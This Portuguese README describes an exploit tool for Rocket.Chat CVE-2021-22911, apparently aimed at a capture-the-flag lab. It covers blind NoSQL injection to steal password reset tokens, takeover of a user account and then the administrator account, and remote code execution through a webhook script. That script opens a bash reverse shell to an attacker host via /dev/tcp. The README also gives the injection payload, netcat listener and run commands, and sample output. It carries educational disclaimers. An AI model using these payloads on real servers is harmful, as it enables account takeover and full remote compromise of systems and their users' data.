Exploit do Rocket.Chat CVE-2021-22911

⚠️ AVISO - APENAS PARA USO EDUCACIONAL

Este exploit é apenas para testes de penetração autorizados e fins educacionais. O acesso não autorizado a sistemas de computador é ilegal. O autor não se responsabiliza por qualquer uso indevido.

📋 Visão Geral

CVE-2021-22911 é uma vulnerabilidade crítica de injeção NoSQL não autenticada no Rocket.Chat que leva à Execução Remota de Código (RCE).

• Pontuação CVSS: 9.8 (Crítica)
• Versões Afetadas: Rocket.Chat < 3.12.7
• Vetor de Ataque: Rede / Não Autenticado
• Impacto: Comprometimento total do sistema

🎯 Detalhes da Vulnerabilidade

Este exploit combina três ataques de injeção NoSQL:

Fase 1: Redefinição de Senha de Usuário com Baixos Privilégios

• Envia solicitação de senha esquecida para um usuário com baixos privilégios
• Usa injeção NoSQL cega com o operador $regex para extrair o token de redefinição de senha caractere por caractere
• Redefine a senha para um valor conhecido

Fase 2: Redefinição de Senha do Administrador

• Repete a Fase 1, mas visa a conta do administrador
• Extrai o token de redefinição de senha do administrador via injeção NoSQL cega
• Altera a senha do administrador

Fase 3: Execução Remota de Código

• Autentica como a conta de administrador comprometida
• Cria uma integração de webhook com payload JavaScript
• O payload usa child_process.exec() do Node.js para gerar um reverse shell
• Aciona o webhook para executar o reverse shell

🛠️ Pré-requisitos

pip install requests

🚀 Uso

1. Inicie o Netcat Listener (Terminal 1)

nc -lvnp 4444

2. Execute o Exploit (Terminal 2)

Entrada de IP manual:

python3 rocket_chat_exploit.py \
  -u [email protected] \
  -a [email protected] \
  -t http://chat.rocket.thm \
  -i 10.9.0.1 \
  -p 4444

Detectar automaticamente o IP tun0 (Recomendado):

python3 rocket_chat_exploit.py \
  -u [email protected] \
  -a [email protected] \
  -t http://chat.rocket.thm \
  -i $(ip a show tun0 | grep "inet " | awk '{print $2}' | cut -d/ -f1) \
  -p 4444

Argumentos:

• -u: E-mail do usuário com baixos privilégios (deve existir)
• -a: E-mail do administrador
• -t: URL alvo (instância do Rocket.Chat)
• -i: Seu IP de atacante (tun0)
• -p: Porta do listener Netcat

Exemplo de Saída

============================================================
  Rocket.Chat CVE-2021-22911 — RCE
  Target : http://chat.rocket.thm
  Shell  : 10.9.0.1:4444
============================================================

[PHASE 1] Low-priv user → [email protected]
[+] Password reset email sent → [email protected]
[*] Extracting reset token via blind NoSQL injection...
    [43/43] aBcDeFgHiJkLmNoPqRsTuVwXyZ1234567890abcd
[+] Token: aBcDeFgHiJkLmNoPqRsTuVwXyZ1234567890abcd
[+] Password changed to: P@$$w0rd!1234

[PHASE 2] Admin user → [email protected]
[+] Password reset email sent → [email protected]
[*] Extracting reset token via blind NoSQL injection...
    [43/43] XyZ9876543210aBcDeFgHiJkLmNoPqRsTuVwXyZ
[+] Token: XyZ9876543210aBcDeFgHiJkLmNoPqRsTuVwXyZ
[+] Password changed to: P@$$w0rd!1234

[PHASE 3] RCE
[!] Start your listener now:  nc -lvnp 4444
[*] Press Enter when nc is ready...
[+] Authenticated as [email protected]
    userid : userid123456789
    token  : token123456...
[+] Webhook created
    http://chat.rocket.thm/hooks/hookid123/token456
[*] Triggering reverse shell...
[+] Trigger sent — check your nc listener

🔍 Detalhes Técnicos

Formato do Payload de Injeção NoSQL

{
  "message": {
    "msg": "method",
    "method": "getPasswordPolicy",
    "params": [
      {
        "token": {
          "$regex": "^abc"
        }
      }
    ]
  }
}

Payload RCE (Script do Webhook)

class Script {
  process_incoming_request({ request }) {
    const require = console.log.constructor('return process.mainModule.require')();
    const { exec } = require('child_process');
    exec('bash -c "bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1"');
  }
}

📚 Referências

• Exploit Original: enox - Exploit-DB 50078, 50108
• Análise da Vulnerabilidade: Blog da SonarSource
• Detalhes do CVE: CVE-2021-22911

📝 Créditos

• enox - Desenvolvimento do exploit original
• SonarSource - Pesquisa e análise da vulnerabilidade

⚖️ Aviso Legal

Esta ferramenta é fornecida apenas para fins educacionais e testes de segurança autorizados. O acesso não autorizado a sistemas de computador é uma infração penal sob o Computer Fraud and Abuse Act (CFAA) e leis internacionais similares.

---

Use com responsabilidade. Teste apenas sistemas que você possui ou para os quais tenha permissão explícita por escrito.